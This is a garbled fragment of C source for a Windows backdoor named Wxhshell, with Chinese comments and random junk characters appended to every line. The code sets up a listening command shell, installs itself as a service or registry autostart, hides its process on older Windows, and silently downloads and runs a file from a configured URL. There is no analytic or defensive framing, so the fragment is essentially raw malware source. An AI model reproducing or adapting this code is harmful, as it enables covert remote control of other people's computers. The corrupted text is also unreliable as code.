PROCNTQSIP NtQueryInformationProcess; cbl>:ev1h
ESUO I
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "Mz#1Laby`
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xT(0-o*
e+)y6Q=
HANDLE hProcess; hu.p;A3p;
PROCESS_BASIC_INFORMATION pbi; >@Pw{Zh$
MJkusR/
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &XCP@@T
if(NULL == hInst ) return 0; R+z'6&/ =I
Kp^"<%RT
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5h |aX
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ix$
^1(
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #<X4RJ
'T$Cw\F&
if (!NtQueryInformationProcess) return 0; T?RN} @D
-xbs'[
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cQ'x]u_
if(!hProcess) return 0; mE_%
h=\1ZQKC)
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I L,l XB<
v|KIVBkbT
CloseHandle(hProcess); :W6'G@ p
HB`'S7Q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L9XfR$7,z
if(hProcess==NULL) return 0; J%n#uUs
"a9j2+9
HMODULE hMod; 2vU-9p {
char procName[255]; Pm%5c\ef
unsigned long cbNeeded; bDudETl
v(GnG
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QO0@Ax\b
<-fvYer
CloseHandle(hProcess); BMI`YGjY1
Ghc
U~
if(strstr(procName,"services")) return 1; // 以服务启动 %?, 7!|Ls
!#~KSO}zW2
return 0; // 注册表启动 Uk*(C(
} v_Df+
}V*?~.R
// 主模块 `Tf}h8*
int StartWxhshell(LPSTR lpCmdLine) ` &bF@$((
{ kvuRT`/
SOCKET wsl; 6212*Z_Af
BOOL val=TRUE; X)6 G :cD
int port=0; l0;u$
struct sockaddr_in door; ]uF7HX7F
E_I-.o|
if(wscfg.ws_autoins) Install(); .dVV#
H
g],]l'7H
port=atoi(lpCmdLine); $STGH
cJbv,RV<
if(port<=0) port=wscfg.ws_port; tQRbNY#}Z
GyMN;|
WSADATA data; ij#v_~g3
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ook\CK*nKe
(X-(
WMsqQ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ]f?r@U'AS|
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7)[2Ud8
door.sin_family = AF_INET; _'17C/
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1h(IrV5 g
door.sin_port = htons(port); oV;sd5'LG
j`q>YPp
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DU8\1(
closesocket(wsl); GF9[|).
T
return 1; \!30t1EZ
} $]Ix(7@W
tu"-]^
if(listen(wsl,2) == INVALID_SOCKET) { 1*G&ZI
closesocket(wsl); f0Q! lMv
return 1; AZE%fOG<i
} Y0kcxpK/
Wxhshell(wsl); }!k?.(hpE
WSACleanup(); 9H;Os:"\|
}yn%_KQ0
return 0; gK;dfrU.8Y
W1<*9O
} n0gjcDHQ
AzF*4x
// 以NT服务方式启动 w'A *EWO
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gY[G>D=
{ E2dS@!]V
DWORD status = 0; jD"nEp-
DWORD specificError = 0xfffffff; p7Zeudmj
llR5qq=t
serviceStatus.dwServiceType = SERVICE_WIN32; _Dqi#0#40p
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Lg(G&ljE@k
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V`LE 'E
serviceStatus.dwWin32ExitCode = 0; j^8HTa0Cy|
serviceStatus.dwServiceSpecificExitCode = 0; sC[#R.eq
serviceStatus.dwCheckPoint = 0; sk<S`J,M/_
serviceStatus.dwWaitHint = 0; 88X]Uw(+
a@&qdp
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TCzlu#w
if (hServiceStatusHandle==0) return; :Zkjtr.\
UJDI[`2
status = GetLastError(); x9\{a
if (status!=NO_ERROR) Z:,\FB_U
{ \Gk}Fer
serviceStatus.dwCurrentState = SERVICE_STOPPED; k$m'ebrS.~
serviceStatus.dwCheckPoint = 0; M E]7e^
serviceStatus.dwWaitHint = 0; ;`c:Law4
serviceStatus.dwWin32ExitCode = status; qi7*Jjk>90
serviceStatus.dwServiceSpecificExitCode = specificError; j DEym&-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); B8T5?bl
return; bZgo}`o%
} "N_@q2zF
/O$~)2^h
serviceStatus.dwCurrentState = SERVICE_RUNNING; Q.7X3A8
serviceStatus.dwCheckPoint = 0; z1,#ma}.
serviceStatus.dwWaitHint = 0; m(:R (K(je
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S1)g\Lv
} tj00xYY
H|aC(c
// 处理NT服务事件,比如:启动、停止 ;Ccp1a~+
VOID WINAPI NTServiceHandler(DWORD fdwControl) G7,v:dlK
{ 7b-[# g
switch(fdwControl) YqXN|&
{ 4IB`7QJq
case SERVICE_CONTROL_STOP: 9;vES^
serviceStatus.dwWin32ExitCode = 0; ~2XGw9`J2
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8KigGhY'ms
serviceStatus.dwCheckPoint = 0; >wb*kyO7(#
serviceStatus.dwWaitHint = 0; Pq35w#`!
{ _X<V`,
p
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5>CeFy
} ,K6ODtw.
return; k5bv57@
case SERVICE_CONTROL_PAUSE: g(s}R ?
serviceStatus.dwCurrentState = SERVICE_PAUSED; {Fyw<0 [@
break; s2QgR37s>
case SERVICE_CONTROL_CONTINUE: \8a014
serviceStatus.dwCurrentState = SERVICE_RUNNING; Wt!;Y,1s
break; imwn)]L R
case SERVICE_CONTROL_INTERROGATE: knHrMD;
break; XAF]B,h=
}; H&F2[ j$T
SetServiceStatus(hServiceStatusHandle, &serviceStatus); xDekC~Zq
} @q]!C5
'cQ`jWZQ
// 标准应用程序主函数 Sjwwc6_c
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _}']h^@Z
{ Gv 8Z
{ i3x\|
// 获取操作系统版本 GpO@1 C/
OsIsNt=GetOsVer(); !f/^1k}SR
GetModuleFileName(NULL,ExeFile,MAX_PATH); >tL"8@z9
X,o ]tgg=
// 从命令行安装 b+ZaZ\-y
|
if(strpbrk(lpCmdLine,"iI")) Install(); iK'A m.o+
kaR55
// 下载执行文件 p>pAU$k{O
if(wscfg.ws_downexe) { B}p.fE
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "].TKF#yg
WinExec(wscfg.ws_filenam,SW_HIDE); j9RpYz
} z=jzr=lP
j`3IizN2
if(!OsIsNt) { ?W?n l:F
// 如果时win9x,隐藏进程并且设置为注册表启动 B@ \0b|
HideProc(); UQ^
)t
]
StartWxhshell(lpCmdLine); jl]p e7-
} >/@Q7V99{
else B1i'Mzm-4
if(StartFromService()) \[+':o`LH
// 以服务方式启动 ZWx[@5
StartServiceCtrlDispatcher(DispatchTable); #vBSg
else R5uz<
// 普通方式启动 >i61+uzEd+
StartWxhshell(lpCmdLine); 55>+%@$,a
c No)LF
return 0; Pff-eT+~m
} .&^M
Z8
FuBUg _h
+`m0i1uI3
u |$GOSD
=========================================== !a'{gw
MD> E0p)
waV4~BdL
K~5(j{Kb8
f'S 0"
#]} G{
P
" L`^v"W()
o+<hI
#include <stdio.h> 4=* ml}RP
#include <string.h> : NH'>'
#include <windows.h> 3i}$ ~rz]U
#include <winsock2.h> _1$+S0G;
#include <winsvc.h> | 8n,|%e
#include <urlmon.h> yAel4b/}
1&kf